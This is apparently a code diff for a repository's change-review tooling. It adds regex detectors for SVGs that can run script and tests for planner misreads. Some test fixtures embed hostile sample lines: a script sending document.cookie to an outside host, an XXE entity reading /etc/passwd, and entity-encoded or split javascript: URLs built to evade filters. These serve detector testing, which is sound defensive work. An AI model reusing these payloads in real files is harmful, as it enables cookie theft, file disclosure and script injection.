/\b(?:innerHTML|outerHTML)\s*\+?=/, /\bdangerouslySetInnerHTML\b/, /\bv-html\b/, /\{@html\b/, /\binsertAdjacentHTML\s*\(/, /\bdocument\.write\s*\(/,
|
||||
];
|
||||
export const SVG_PATH = /\.svg$/i;
|
||||
/** SVG text that can run code, read decoded and again with whitespace removed (java	script: is javascript:); a file's changed lines are read joined, so a split attribute still counts. */
|
||||
export const SVG_ACTIVE = [/<(?:[\w.-]+:)?(?:script|foreignObject)\b/i, /(?:^|[\s"'/])on[a-z]+\s*=/i, /(?:java|vb)script:|data:text\/html/i];
|
||||
/** XML character references decoded, leading zeros included (j, j and j are j); an out-of-range one decodes to nothing. */
|
||||
export const decodeCharRefs = (s: string) => s.replace(/&#(?:[xX]0*([0-9a-fA-F]+)|0*(\d+));?/g, (_, hex: string | undefined, dec: string | undefined) => {
|
||||
const digits = hex ?? dec!;
|
||||
const c = digits.length > 8 ? Infinity : hex !== undefined ? parseInt(hex, 16) : Number(dec);
|
||||
return c <= 0x10ffff ? String.fromCodePoint(c) : '';
|
||||
});
|
||||
export const svgActive = (text: string) => { const d = decodeCharRefs(text); const squeezed = d.replace(/[\s\0-\x1f]+/g, ''); return SVG_ACTIVE.some(r => r.test(d) || r.test(squeezed)); };
|
||||
const DATA_PATH_TOKENS = ['pii', 'gdpr', 'ccpa', 'privacy', 'personal', 'account', 'accounts', 'customer', 'customers', 'cookie', 'cookies', 'persistence', 'storage', 'database'];
|
||||
export const DATA_LINE = [
|
||||
/\bDELETE\s+FROM\b/, /\b(?:drop\s+(?:table|column|database|schema)|truncate\s+table)\b/i, /\bdelete\s+from\s+[\w."`]+\s*(?:where\b|;|$|["'`)])/i,
|
||||
@@ -70,7 +81,7 @@ const namesMoney = (t: readonly string[], words: readonly string[]) => t.some(x
|
||||
export const RISK_RULES = createHash('sha256').update(JSON.stringify({
|
||||
RISK_CLASSES, MONEY_PATH_TOKENS, AUTH_PATH_TOKENS, AUTH_PATH_PREFIXES, KEY_NAME, SECURITY_PATH_TOKENS, DATA_PATH_TOKENS,
|
||||
MONEY_LINE_TOKENS, MONEY_PAIRS,
|
||||
patterns: Object.entries({ MONEY_LINE, SECRET_LINE, SECRET_PATH: [SECRET_PATH], SECURITY_LINE, DATA_LINE }).map(([k, v]) => [k, v.map(r => '/' + r.source + '/' + r.flags)]),
|
||||
patterns: Object.entries({ MONEY_LINE, SECRET_LINE, SECRET_PATH: [SECRET_PATH], SECURITY_LINE, DATA_LINE, SVG_PATH: [SVG_PATH], SVG_ACTIVE }).map(([k, v]) => [k, v.map(r => '/' + r.source + '/' + r.flags)]),
|
||||
})).digest('hex').slice(0, 16);
|
||||
|
||||
export const tokens = (p: string) => p.replace(/([a-z0-9])([A-Z])/g, '$1 $2').toLowerCase().split(/[^a-z0-9]+/).filter(Boolean);
|
||||
@@ -95,6 +106,7 @@ export function matchRisk(i: RiskInput): Map<RiskClass, string> {
|
||||
if (namesMoney(t, MONEY_PATH_TOKENS)) hit('money', 'money path: ' + p);
|
||||
if (t.some(x => SECURITY_PATH_TOKENS.includes(x))) hit('security', 'security path: ' + p);
|
||||
if (t.some(x => DATA_PATH_TOKENS.includes(x))) hit('data', 'data path: ' + p);
|
||||
if (SVG_PATH.test(p) && [i.added?.[p], i.removed?.[p]].some(l => l && svgActive(l.join('\n')))) hit('security', 'active SVG lines: ' + p);
|
||||
for (const line of [...(i.added?.[p] ?? []), ...(i.removed?.[p] ?? [])]) {
|
||||
if (!why.has('money') && (MONEY_LINE.some(r => r.test(line)) || namesMoney(tokens(line), MONEY_LINE_TOKENS))) hit('money', 'money line: ' + p);
|
||||
if (!why.has('secret') && SECRET_LINE.some(r => r.test(line))) hit('secret', 'secret line: ' + p);
|
||||
|
||||
@@ -117,7 +117,7 @@ function merge(cwd: string, base: string, r: Report): boolean {
|
||||
let runtime = 'unknown';
|
||||
try {
|
||||
const j = JSON.parse(plan.stdout);
|
||||
const c = classifyDiff({ paths: j.paths, perPath: j.per_path, stampOnly: j.stamp_only, registry: j.registry, consumed: j.consumed, root: cwd, gateTagged: 0 });
|
||||
const c = classifyDiff({ paths: j.paths, perPath: j.per_path, stampOnly: j.stamp_only, registry: j.registry, consumed: j.consumed, drawings: j.drawings, root: cwd, gateTagged: 0 });
|
||||
runtime = String(c.runtimeLines ?? 'unknown');
|
||||
} catch { /* unknown */ }
|
||||
r.add(`RUNTIME_LINES: ${runtime} (gstack-ship-budget check --runtime-lines at the Step 9 and 12 boundaries)`);
|
||||
|
||||
@@ -40,6 +40,9 @@ function git(root: string, args: string[]): { ok: boolean; out: string } {
|
||||
return { ok: r.status === 0, out: (r.stdout ?? '').trim() };
|
||||
}
|
||||
|
||||
/** A base as a commit; origin/<branch> reads refs/remotes/origin/<branch> by its full name, so a tag named origin/main cannot stand in for it (GST-884). */
|
||||
const baseCommit = (root: string, ref: string) => git(root, ['rev-parse', '--verify', '--quiet', `${/^origin\//.test(ref) ? `refs/remotes/${ref}` : ref}^{commit}`]);
|
||||
|
||||
/** gstack-diff-scope on the committed range `base`...`head` (`--head`): the same signals at write, carry and the queue. */
|
||||
function scopeOfRange(root: string, binDir: string, base: string, head: string): Record<string, string> {
|
||||
const sr = runScriptSync(path.join(binDir, 'gstack-diff-scope'), [base, '--head', head], { cwd: root, encoding: 'utf8', timeout: 60_000, maxBuffer: 16 * 1024 * 1024 });
|
||||
@@ -58,7 +61,7 @@ function scopeOfRange(root: string, binDir: string, base: string, head: string):
|
||||
*/
|
||||
export function receiptDepthAtHead(repoRoot: string, base: string, binDir: string, head: string): ReceiptDepth {
|
||||
const branch = base.replace(/^origin\//, '');
|
||||
const baseSha = git(repoRoot, ['rev-parse', '--verify', '--quiet', `origin/${branch}^{commit}`]);
|
||||
const baseSha = baseCommit(repoRoot, `origin/${branch}`);
|
||||
const baseRev = baseSha.ok ? baseSha.out : branch;
|
||||
const c = collectCommit(repoRoot, baseRev, head);
|
||||
const scope = scopeOfRange(repoRoot, binDir, baseRev, head);
|
||||
@@ -156,7 +159,7 @@ export interface DepthVerdict { ok: boolean; line: string; message?: string }
|
||||
/** The head's committed range against the base, read once for the depth verdict and the targeted line. */
|
||||
interface HeadInputs { baseSha: { ok: boolean; out: string }; c: ReturnType<typeof collectCommit>; scope: Record<string, string> }
|
||||
function headInputs(root: string, baseRef: string, head: string): HeadInputs {
|
||||
const baseSha = git(root, ['rev-parse', '--verify', '--quiet', `${baseRef}^{commit}`]);
|
||||
const baseSha = baseCommit(root, baseRef);
|
||||
const baseRev = baseSha.ok ? baseSha.out : baseRef;
|
||||
return { baseSha, c: collectCommit(root, baseRev, head), scope: scopeOfRange(root, BIN_DIR, baseRev, head) };
|
||||
}
|
||||
|
||||
@@ -57,6 +57,7 @@ const NO_LOSS_REPLAYS = {
|
||||
'L': "GSTA-167 variant G Arm L: live no-loss replay of one batched reader (testing and security plus scoped checklists) and the Red Team on its findings, 2 passes, scored L∘G1 against G1 on the paired rule (part 2)",
|
||||
'GST-257': "GST-257 PR 1 dispatch-superset no-loss check (test/review-targeted.test.ts): on every fixture diff the branch dispatches main's reviewers at 8be7f21 unchanged plus only the targeted reader, and over the last 100 non-release commits on main it lost none; adds the targeted role and brief to the G1 and L bytes, whose existing reviewer text is unchanged",
|
||||
'GST-850': "GST-850 dispatch-superset no-loss check: on the 26 GSTA-167 no-loss units the branch plan (wider security and money classes, write-up text in the batched diff) drops no reviewer role main dispatches, so no saved blocker can be lost, and over the last 100 main commits no commit with a gate or risk class drops depth (test/review-risk-routing.test.ts, test/review-risk-linear.test.ts); reviewer text is unchanged",
|
||||
'GST-911': "GST-911 no-loss replay (GSTA-249/13): the planner over the last 100 first-parent main commits to f5cb6ec1e, origin/main's code against this branch, gate scan fixed at 0, changes no commit's depth, class, risk classes, targeted classes or SCOPE_AUTH; the three misreads (a drawing-only SVG, a session-named data file, a bare base) are proven on fixtures (test/review-planner-misreads.test.ts), where every SVG that can run script stays code with the security class; reviewer text is unchanged",
|
||||
'R51': "R51 risk-tier routing no-loss re-score (GSTA-167): the saved panel findings (349 records over 24 of the 26 no-loss units) re-scored against the branch's plan lose no blocker whose only finders are roles it drops, and every gate, security, user-data and money fixture keeps main's reviewers plus the full panel (test/review-targeted.test.ts, test/review-risk-routing.test.ts); reviewer text is unchanged",
|
||||
'GST-898': "GST-898 verdict-identity no-loss check: the linear rm rule, and the rmSync rule (which also raises security on any call with more than 500 characters before its closing parenthesis), give the same verdict as R51's on every changed line of the last 100 main commits (69,023 lines, a563f47 back 100 first-parent commits) and on 60,000 seeded lines per rule (test/review-risk-redos.test.ts), and no commit changes depth, class or risk class, so every diff dispatches main's reviewers unchanged; reviewer text is unchanged",
|
||||
} as const;
|
||||
@@ -80,8 +81,8 @@ const REVIEWER_BRIEFS: Record<string, { sha: string; replay: Replay }> = {
|
||||
'review/specialists/testing.md': { sha: 'd6cc2bef7be562387d0c0a22fefe646dff9c295f1d34d8453a6cb496584150e4', replay: '#3638' },
|
||||
'review/specialists/targeted.md': { sha: '7f92a0d0a8319c3c0e076fb3b1a4689c45120b2be2c14dfc7d4cb03aafa9d6a5', replay: 'GST-257' },
|
||||
'scripts/resolvers/fix-check.ts': { sha: '712bf5b0c439e96bac32f19cbe25394dabb4c94aa66600100bfde9b100e15a08', replay: '#3638' },
|
||||
'lib/review-depth.ts': { sha: '839205a409014fb2cca6988a01aa04c98c495d8d24bd94895a86bf7794627338', replay: 'GST-850' },
|
||||
'lib/review-risk.ts': { sha: '5269aed03318f745d0be7a39f24b8bf04cbf385d1f9f70fb967cb6a2cb01a8f7', replay: 'GST-898' },
|
||||
'lib/review-depth.ts': { sha: '17a78ec841a62e86e772dcb13e84ef10102db7a24cf4cf8af618c41436d368d5', replay: 'GST-911' },
|
||||
'lib/review-risk.ts': { sha: '126eff0f1de6982e03dc24d8017c67e6807c91dfa518b18d2db3aa910aac911f', replay: 'GST-911' },
|
||||
};
|
||||
|
||||
describe('reviewer briefs stay at their no-loss-tested bytes (GSTA-167)', () => {
|
||||
|
||||
@@ -0,0 +1,289 @@
|
||||
/**
|
||||
* Three /ship planner misreads from GST-911 (gstack-evals#132, a results write-up) and GST-884:
|
||||
* a plotting-script SVG counted as runtime code, a data file named for sessions read as auth code, and
|
||||
* gstack-diff-scope (plus the receipt depth) resolving a bare base name, so a stale local main or a tag
|
||||
* named main or origin/main moved the diff. Every real signal stays: an SVG that can run code is
|
||||
* security, session code is auth, and a credential reference is a secret wherever it is.
|
||||
*/
|
||||
import { afterEach, describe, expect, test } from 'bun:test';
|
||||
import { spawnSync } from 'node:child_process';
|
||||
import * as fs from 'node:fs';
|
||||
import * as os from 'node:os';
|
||||
import * as path from 'node:path';
|
||||
import { collectCommit, collectLive } from '../lib/review-collect';
|
||||
import { depthOfCommitInput, svgDrawing } from '../lib/review-depth';
|
||||
import { targetedClasses } from '../lib/review-targeted';
|
||||
import { receiptDepthAtHead, receiptDepthVerdict } from '../lib/ship-receipt-depth';
|
||||
|
||||
const BIN = path.join(import.meta.dir, '..', 'bin');
|
||||
const SCOPE = path.join(BIN, 'gstack-diff-scope');
|
||||
const dirs: string[] = [];
|
||||
afterEach(() => { while (dirs.length) fs.rmSync(dirs.pop()!, { recursive: true, force: true }); });
|
||||
|
||||
function fixture() {
|
||||
const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'planner-misreads-')));
|
||||
dirs.push(root);
|
||||
const work = path.join(root, 'work');
|
||||
const env = { ...process.env, GSTACK_STATE_ROOT: path.join(root, 'state'), GIT_AUTHOR_NAME: 't', GIT_AUTHOR_EMAIL: 't@t', GIT_COMMITTER_NAME: 't', GIT_COMMITTER_EMAIL: 't@t', GIT_CONFIG_GLOBAL: path.join(root, 'gitconfig'), GIT_CONFIG_NOSYSTEM: '1' };
|
||||
fs.writeFileSync(path.join(root, 'gitconfig'), '[commit]\n\tgpgsign = false\n[init]\n\tdefaultBranch = main\n');
|
||||
const sh = (cwd: string, c: string) => { const r = spawnSync('bash', ['-c', c], { cwd, env, encoding: 'utf8', timeout: 60_000 }); if (r.status !== 0) throw new Error(`${c}: ${r.stderr}`); return r.stdout.trim(); };
|
||||
sh(root, 'git init -q --bare origin.git && git clone -q origin.git work 2>/dev/null');
|
||||
const write = (files: Record<string, string>) => { for (const [p, text] of Object.entries(files)) { const f = path.join(work, p); fs.mkdirSync(path.dirname(f), { recursive: true }); fs.writeFileSync(f, text); } };
|
||||
const commit = (files: Record<string, string>) => { write(files); sh(work, 'git add -A && git commit -qm change'); return sh(work, 'git rev-parse HEAD'); };
|
||||
write({ 'README.md': '# evals\n', 'src/run.ts': 'export const run = () => 1;\n' });
|
||||
sh(work, 'git add -A && git commit -qm base && git push -q origin main && git checkout -qb feat');
|
||||
const base = sh(work, 'git rev-parse HEAD');
|
||||
const scope = (args: string[]) => {
|
||||
const r = spawnSync('bash', [SCOPE, ...args], { cwd: work, env, encoding: 'utf8', timeout: 30_000 });
|
||||
return { status: r.status, out: r.stdout, vars: Object.fromEntries(r.stdout.split('\n').filter(l => /^SCOPE_\w+=/.test(l)).map(l => l.split('=') as [string, string])) };
|
||||
};
|
||||
return { root, work, env, sh, write, commit, base, scope };
|
||||
}
|
||||
|
||||
/** A matplotlib-style chart: XML declaration, DOCTYPE, RDF metadata, CSS, markers by internal reference, a clip path. */
|
||||
const chart = (points: number, extra = '') => [
|
||||
'<?xml version="1.0" encoding="utf-8" standalone="no"?>',
|
||||
'<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"',
|
||||
' "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">',
|
||||
'<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="460.8pt" height="345.6pt" viewBox="0 0 460.8 345.6" xmlns="http://www.w3.org/2000/svg" version="1.1">',
|
||||
' <metadata>',
|
||||
' <rdf:RDF xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">',
|
||||
' <cc:Work>',
|
||||
' <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>',
|
||||
' <dc:date>2026-10-31T12:00:00</dc:date>',
|
||||
' <dc:format>image/svg+xml</dc:format>',
|
||||
' <dc:creator>',
|
||||
' <cc:Agent>',
|
||||
' <dc:title>Matplotlib v3.9.2, https://matplotlib.org/</dc:title>',
|
||||
' </cc:Agent>',
|
||||
' </dc:creator>',
|
||||
' </cc:Work>',
|
||||
' </rdf:RDF>',
|
||||
' </metadata>',
|
||||
' <defs>',
|
||||
' <style type="text/css">*{stroke-linejoin: round; stroke-linecap: butt}</style>',
|
||||
' <path id="m0" d="M 0 3 C 0.8 3 1.5 2.7 2.1 2.1 z" style="stroke: #1f77b4"/>',
|
||||
' </defs>',
|
||||
' <g id="figure_1">',
|
||||
' <g id="patch_1">',
|
||||
' <path d="M 0 345.6 L 460.8 345.6 L 460.8 0 L 0 0 z" style="fill: #ffffff"/>',
|
||||
' </g>',
|
||||
...Array.from({ length: points }, (_, i) => ` <use xlink:href="#m0" x="${57 + i}" y="${300 - ((i * 7) % 250)}" style="fill: #1f77b4; stroke: #1f77b4" clip-path="url(#p1)"/>`),
|
||||
' <g id="text_1">',
|
||||
' <text x="230" y="20" style="font-size: 12px; font-family: DejaVu Sans">cost per run & pass rate</text>',
|
||||
' </g>',
|
||||
...(extra ? [extra] : []),
|
||||
' </g>',
|
||||
' <defs>',
|
||||
' <clipPath id="p1">',
|
||||
' <rect x="57.6" y="41.472" width="357.12" height="266.112"/>',
|
||||
' </clipPath>',
|
||||
' </defs>',
|
||||
'</svg>',
|
||||
'',
|
||||
].join('\n');
|
||||
|
||||
const plan = (fx: ReturnType<typeof fixture>, head: string) => {
|
||||
const c = collectCommit(fx.work, fx.base, head);
|
||||
const d = depthOfCommitInput({ ...c, gateTagged: 0 });
|
||||
return { class: d.class, depth: d.depth, runtime: d.runtimeLines, risk: d.risk };
|
||||
};
|
||||
|
||||
describe('GST-911 misread 1: a chart SVG is data, an SVG that can run code is security', () => {
|
||||
// Value: protects=a results write-up whose chart is an SVG plans like the same chart as a PNG (docs, light, no runtime lines);
|
||||
// fails_when=an SVG with only drawing elements, internal references and CSS counts as runtime code; seam=collectCommit + depthOfCommitInput, collectLive
|
||||
test('a plotting-script SVG no code names plans as docs, light, runtime 0, like the PNG', () => {
|
||||
const fx = fixture();
|
||||
const svg = plan(fx, fx.commit({ 'results/2026-10-31/chart.svg': chart(600), 'results/2026-10-31/README.md': '# Results\n\n\n' }));
|
||||
expect(svg).toEqual({ class: 'docs', depth: 'light', runtime: 0, risk: [] });
|
||||
fx.sh(fx.work, 'git rm -q results/2026-10-31/chart.svg && git commit -qm drop');
|
||||
const png = plan(fx, fx.commit({ 'results/2026-10-31/chart.png': '\x89PNG\r\n\x1a\n\0\0\0\rIHDR' }));
|
||||
expect(png).toEqual({ class: 'docs', depth: 'light', runtime: 0, risk: [] });
|
||||
fx.write({ 'results/live/chart.svg': chart(40) });
|
||||
const live = collectLive(fx.work, 'main');
|
||||
expect(depthOfCommitInput({ ...live, gateTagged: 0 }).runtimeLines).toBe(0);
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=an SVG that can execute script stays code and gets the security class (full depth), however it spells the script;
|
||||
// fails_when=a script element, a namespaced script, an event handler, a javascript: URL (plain, entity-encoded or zero-padded) or a
|
||||
// foreignObject plans as docs or loses the security class, or a handler or URL split across lines loses it; seam=collectCommit + depthOfCommitInput
|
||||
test.each([
|
||||
['a script element', ' <script>fetch("https://x.test/?c=" + document.cookie)</script>'],
|
||||
['a namespaced script', ' <s:script xmlns:s="http://www.w3.org/2000/svg">window.x = 42</s:script>'],
|
||||
['an event handler', ' <rect width="10" height="10" onload="alert(1)"/>'],
|
||||
['a javascript: URL', ' <a xlink:href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['an entity-encoded javascript: URL', ' <a href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['a foreignObject', ' <foreignObject width="10" height="10"><div xmlns="http://www.w3.org/1999/xhtml">x</div></foreignObject>'],
|
||||
['a zero-padded javascript: URL', ' <a href="javascript:alert(1)"><text>x</text></a>'],
|
||||
['an event handler split across lines', ' <rect width="10" onload\n ="alert(1)"/>'],
|
||||
['a javascript: URL split across lines', ' <a href="java\nscript:alert(1)"><text>x</text></a>'],
|
||||
])('%s stays code with the security class', (_name, line) => {
|
||||
const fx = fixture();
|
||||
expect(plan(fx, fx.commit({ 'results/chart.svg': chart(5, line) }))).toMatchObject({ class: 'code', depth: 'full', risk: ['security'] });
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=only an SVG made of drawing elements is data: anything that loads, links or declares outside that set stays code;
|
||||
// fails_when=an external image or stylesheet, an entity declaration, an animation or a CSS url() to another document reads as docs,
|
||||
// including through a CSS escape or a zero-padded character reference (review pass 1 findings) or behind a stray quote that
|
||||
// pairs with a later one (review pass 2 finding), or any CSS beyond declarations and url(#id) (Step 11 finding: image-set());
|
||||
// seam=collectCommit + depthOfCommitInput
|
||||
test.each([
|
||||
['an external image', ' <image href="https://x.test/pixel.png" width="1" height="1"/>'],
|
||||
['a CSS import', ' <style>@import url("https://x.test/a.css");</style>'],
|
||||
['a CSS url() to another document', ' <rect style="fill: url(https://x.test/a.svg#g)"/>'],
|
||||
['an animation', ' <animate attributeName="x" from="0" to="10" dur="1s"/>'],
|
||||
['a stylesheet processing instruction', '<?xml-stylesheet href="https://x.test/a.css"?>'],
|
||||
['an entity declaration', '<!DOCTYPE svg [ <!ENTITY e SYSTEM "file:///etc/passwd"> ]>'],
|
||||
['a CSS-escaped import', ' <style>@\\69mport "https://x.test/a.css";</style>'],
|
||||
['a CSS-escaped url()', ' <rect style="fill: u\\72l(https://x.test/a.svg#g)"/>'],
|
||||
['a zero-padded character reference import', ' <style>@import "https://x.test/a.css";</style>'],
|
||||
['a zero-padded hex character reference url()', ' <rect style="fill: url(https://x.test/a.svg#g)"/>'],
|
||||
['an external image after a stray quote in text', " <text>z='</text><image href=\"https://x.test/p.png\"/><text>'</text>"],
|
||||
['an external use after a stray quote in a comment', " <!-- z=' --><use href=\"https://x.test/o.svg#a\"/><!-- ' -->"],
|
||||
['an external xlink:href after a stray quote in a desc', " <desc>z='</desc><image xlink:href=\"https://x.test/p.png\"/><desc>'</desc>"],
|
||||
['an external image after a stray href in text', " <text>href='#</text><image href=\"https://x.test/p.png\"/><text>'</text>"],
|
||||
['a CSS image-set() in a style element', ' <style>rect{fill:image-set("https://x.test/p.png" 1x)}</style>'],
|
||||
['a CSS image-set() in a style attribute', " <rect style=\"fill:-webkit-image-set('https://x.test/p.png' 1x)\"/>"],
|
||||
['a CSS image() with a string', ' <style>rect{fill:image("https://x.test/p.png")}</style>'],
|
||||
['a CSS element() reference', ' <rect style="fill:element(#m0)"/>'],
|
||||
['a CSS import of a bare string', ' <style>@import "https://x.test/a.css";</style>'],
|
||||
['a style element import', ' <style>@import url("https://x.test/a.css");</style>'],
|
||||
['a style attribute cross-fade()', ' <rect style="fill:cross-fade(url(https://x.test/a.png), url(#m0), 50%)"/>'],
|
||||
['a style element whose </style> hides in a comment', ' <style>svg{fill:<!-- </style> -->image-set("https://x.test/p.png" 1x)}</style>'],
|
||||
['a style element whose </style> hides in CDATA', ' <style><![CDATA[ /* </style> */ svg{fill:image-set("https://x.test/p.png" 1x)} ]]></style>'],
|
||||
])('%s keeps the SVG code', (_name, line) => {
|
||||
const fx = fixture();
|
||||
expect(plan(fx, fx.commit({ 'results/chart.svg': chart(5, line) })).class).toBe('code');
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=a passive edit to an SVG that already carries a script is still code, because the whole file decides, not the
|
||||
// changed lines; and an SVG code names stays code like any consumed data file; fails_when=either plans as docs; seam=collectCommit
|
||||
test('an edit inside a scripted SVG, and an SVG code names, stay code', () => {
|
||||
const fx = fixture();
|
||||
fx.commit({ 'assets/live.svg': chart(5, ' <script>window.x = 1</script>') });
|
||||
fx.sh(fx.work, 'git checkout -q main && git merge -q --ff-only feat && git checkout -q feat');
|
||||
const scripted = { ...fx, base: fx.sh(fx.work, 'git rev-parse HEAD') };
|
||||
expect(plan(scripted, fx.commit({ 'assets/live.svg': chart(6, ' <script>window.x = 1</script>') })).class).toBe('code');
|
||||
const named = plan(fx, fx.commit({ 'assets/icon.svg': chart(3), 'src/icon.ts': "export const icon = new URL('./icon.svg', import.meta.url);\n" }));
|
||||
expect(named.class).toBe('code');
|
||||
expect(named.runtime).toBeGreaterThan(3);
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=the drawing check reads a file up to the collector's 8 MB cap in linear time; fails_when=a run of unclosed
|
||||
// style tags (480 KB) takes over 100 ms or reads as a drawing (review pass notes on #3838); seam=svgDrawing
|
||||
test('a 480 KB run of unclosed <style tags is refused in under 100 ms', () => {
|
||||
const svg = '<svg xmlns="http://www.w3.org/2000/svg">' + '<style'.repeat(80_000);
|
||||
const t0 = performance.now();
|
||||
expect(svgDrawing(svg)).toBe(false);
|
||||
expect(performance.now() - t0).toBeLessThan(100);
|
||||
});
|
||||
|
||||
// Value: protects=every verdict holds at 1 MB and 8 MB, the collector's cap: a long drawing stays data and a load placed after
|
||||
// a long run of CSS, base64 or text is still refused (JavaScriptCore has returned no match on a quantified group over
|
||||
// megabytes before, GST-898); fails_when=any verdict flips at size; seam=svgDrawing
|
||||
test.each([1_000_000, 8_000_000])('verdicts hold at %d characters', size => {
|
||||
const H = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">';
|
||||
const bad = 'image-set("https://x.test/p.png" 1x)';
|
||||
const fill = (unit: string) => unit.repeat(Math.ceil(size / unit.length));
|
||||
expect(svgDrawing(H + '<defs><style type="text/css">*{stroke-linejoin: round}</style></defs>' + fill('<use xlink:href="#m0" x="5" style="fill: #1f77b4" clip-path="url(#p1)"/>') + '</svg>')).toBe(true);
|
||||
expect(svgDrawing(H + '<image href="data:image/png;base64,' + fill('AAAA') + '"/></svg>')).toBe(true);
|
||||
for (const svg of [
|
||||
H + fill('<rect x="1" style="fill: #1f77b4"/>') + '<style>rect{fill:' + bad + '}</style></svg>',
|
||||
H + '<rect style="' + fill('fill: #000; ') + 'fill:' + bad + '"/></svg>',
|
||||
H + '<style>' + fill('rect{fill:#000} ') + 'svg{fill:' + bad + '}</style></svg>',
|
||||
H + '<style><![CDATA[ /* </style> */ ' + fill('rect{fill:#000} ') + 'svg{fill:' + bad + '} ]]></style></svg>',
|
||||
H + '<style>' + fill('rect{fill:#000} ') + '<!-- </style> -->svg{fill:' + bad + '}</style></svg>',
|
||||
H + '<image href="data:image/png;base64,' + fill('AAAA') + '"/><image href="https://x.test/p.png"/></svg>',
|
||||
H + "<text>z='" + fill('abc ') + "</text><image href=\"https://x.test/p.png\"/><text>'</text></svg>",
|
||||
H + fill('<style'),
|
||||
]) expect(svgDrawing(svg)).toBe(false);
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
describe('GST-911 misread 2: a data file named for sessions is not auth', () => {
|
||||
// Value: protects=a data file whose name says session never sets SCOPE_AUTH, while session code and session config still do;
|
||||
// fails_when=recovered-sessions.jsonl sets SCOPE_AUTH, or session.ts, a session store, a sessions controller or config/sessions.json stop setting it;
|
||||
// seam=bin/gstack-diff-scope
|
||||
test('gstack-diff-scope: session data files are not auth; session code and config are', () => {
|
||||
for (const [file, auth] of [
|
||||
['results/recovered-sessions.jsonl', 'false'], ['data/sessions.csv', 'false'], ['logs/session-costs.json', 'false'], ['shots/session.PNG', 'false'],
|
||||
['src/auth/session.ts', 'true'], ['lib/session-store.ts', 'true'], ['app/controllers/sessions_controller.rb', 'true'], ['config/sessions.json', 'true'],
|
||||
['.github/session.json', 'true'], ['app/.session.json', 'true'], ['session.config.json', 'true'], ['data/oauth-tokens.json', 'true'],
|
||||
] as const) {
|
||||
const fx = fixture();
|
||||
fx.commit({ [file]: '{"a": 1}\n', 'src/run.ts': 'export const run = () => 2;\n' });
|
||||
expect([file, fx.scope(['main']).vars.SCOPE_AUTH]).toEqual([file, auth]);
|
||||
}
|
||||
}, 120_000);
|
||||
|
||||
// Value: protects=the planner adds no auth reader and no gate class for a session-named data file, and a credential in it is still a secret;
|
||||
// fails_when=targetedClasses returns auth for recovered-sessions.jsonl next to a code change, classifyDiff raises it to gate through SCOPE_AUTH,
|
||||
// or the secret class misses an env key reference in that file; seam=gstack-diff-scope + collectCommit + targetedClasses + depthOfCommitInput
|
||||
test('the planner: no auth class and no gate for session rows; real session code is auth; a key reference is a secret', () => {
|
||||
const fx = fixture();
|
||||
const rows = Array.from({ length: 20 }, (_, i) => `{"run": ${i}, "tokens": ${1000 + i}}`).join('\n') + '\n';
|
||||
const run = (files: Record<string, string>) => {
|
||||
const head = fx.commit(files);
|
||||
const c = collectCommit(fx.work, fx.base, head);
|
||||
const scope = fx.scope(['main', '--head', head]).vars;
|
||||
return { targeted: targetedClasses({ ...c, scope, gateTagged: 0 }).classes, class: depthOfCommitInput({ ...c, scope, gateTagged: 0 }).class };
|
||||
};
|
||||
expect(run({ 'results/recovered-sessions.jsonl': rows, 'src/run.ts': 'export const run = () => 3;\n' })).toEqual({ targeted: [], class: 'code' });
|
||||
expect(run({ 'lib/session-store.ts': 'export const cookie = (sid: string) => `sid=${sid}; HttpOnly`;\n' })).toEqual({ targeted: ['auth'], class: 'gate' });
|
||||
expect(run({ 'results/recovered-sessions.jsonl': rows + '{"key": "${OPENAI_API_KEY}"}\n' }).targeted).toEqual(['auth', 'secret']);
|
||||
}, 120_000);
|
||||
});
|
||||
|
||||
describe('GST-884: gstack-diff-scope and the receipt depth read origin/<base> by its full ref name', () => {
|
||||
function staleFixture() {
|
||||
const fx = fixture();
|
||||
fx.sh(fx.root, 'git clone -q origin.git other && cd other && mkdir -p db/migrate && echo "create table t;" > db/migrate/001.sql && git add -A && git commit -qm upstream && git push -q origin main');
|
||||
fx.sh(fx.work, 'git fetch -q origin && git checkout -q -B feat origin/main && echo "a{}" > styles.css && git add -A && git commit -qm feat');
|
||||
return fx;
|
||||
}
|
||||
|
||||
// Value: protects=a local main behind origin/main never adds upstream files to the scope; fails_when=gstack-diff-scope diffs against the
|
||||
// stale local main and reports SCOPE_MIGRATIONS for a migration the branch only inherited; seam=bin/gstack-diff-scope
|
||||
test('a stale local main scopes the same as a fresh one', () => {
|
||||
const fx = staleFixture();
|
||||
expect(fx.sh(fx.work, 'git merge-base main HEAD')).not.toBe(fx.sh(fx.work, 'git merge-base origin/main HEAD'));
|
||||
const stale = fx.scope(['main']);
|
||||
fx.sh(fx.work, 'git branch -f main origin/main');
|
||||
const fresh = fx.scope(['main']);
|
||||
expect(fresh.vars).toMatchObject({ SCOPE_FRONTEND: 'true', SCOPE_MIGRATIONS: 'false' });
|
||||
expect(stale.out).toBe(fresh.out);
|
||||
}, 60_000);
|
||||
|
||||
// Value: protects=a tag named main or origin/main cannot stand in for the branch and hide the change; fails_when=gstack-diff-scope resolves
|
||||
// the base by its short name while a tag of that name exists at HEAD (an empty scope); seam=bin/gstack-diff-scope
|
||||
for (const [tag, arg] of [['main', 'main'], ['origin/main', 'main'], ['origin/main', 'origin/main']] as const) {
|
||||
test(`a tag named ${tag} at HEAD does not shadow the base ${arg}`, () => {
|
||||
const fx = staleFixture();
|
||||
fx.sh(fx.work, 'git branch -f main origin/main');
|
||||
const before = fx.scope([arg]);
|
||||
fx.sh(fx.work, `git tag '${tag}' HEAD`);
|
||||
const after = fx.scope([arg]);
|
||||
expect(before.vars.SCOPE_FRONTEND).toBe('true');
|
||||
expect(after.out).toBe(before.out);
|
||||
